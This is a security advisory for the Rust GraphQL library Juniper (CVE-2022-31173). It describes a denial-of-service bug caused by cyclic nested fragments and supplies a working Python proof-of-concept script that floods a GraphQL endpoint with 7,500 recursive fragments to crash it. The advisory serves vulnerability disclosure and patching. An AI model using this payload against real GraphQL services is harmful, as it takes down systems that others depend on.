GHSA-4rx6-g5vg-5f3j

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GHSA-4rx6-g5vg-5f3j

Summary: Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow

Details: ### GraphQL behaviour Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion. ```graphql # Infinite loop example query { ...a } fragment a on Query { ...b } fragment b on Query { ...a } ``` ### POC TLDR With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:  However, with a lower size, you will overflow the memory after some iterations. ### Reproduction steps (Juniper) ``` git clone https://github.com/graphql-rust/juniper.git cd juniper ``` Save this POC as poc.py ```python import requests import time import json from itertools import permutations print('=== Fragments POC ===') url = 'http://localhost:8080/graphql' max_size = 7500 perms = [''.join(p) for p in permutations('abcefghijk')] perms = perms[:max_size] fragment_payloads = '' for i, perm in enumerate(perms): next_perm = perms[i+1] if i < max_size-1 else perms[0] fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}' payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None} headers = { 'Content-Type': 'application/json', } try: response = requests.request('POST', url, headers=headers, json=payload) print(response.text) except requests.exceptions.ConnectionError: print('Connection closed, POC worked.') ``` ``` cargo run [in separate shell] python3 poc.py ``` ### Credits [@Escape-Technologies](https://escape.tech) @c3b5aw @MdotTIM @karimhreda

References: https://github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j, https://nvd.nist.gov/vuln/detail/CVE-2022-31173, https://github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb, https://github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22, https://github.com/graphql-rust/juniper, https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28, https://rustsec.org/advisories/RUSTSEC-2022-0038.html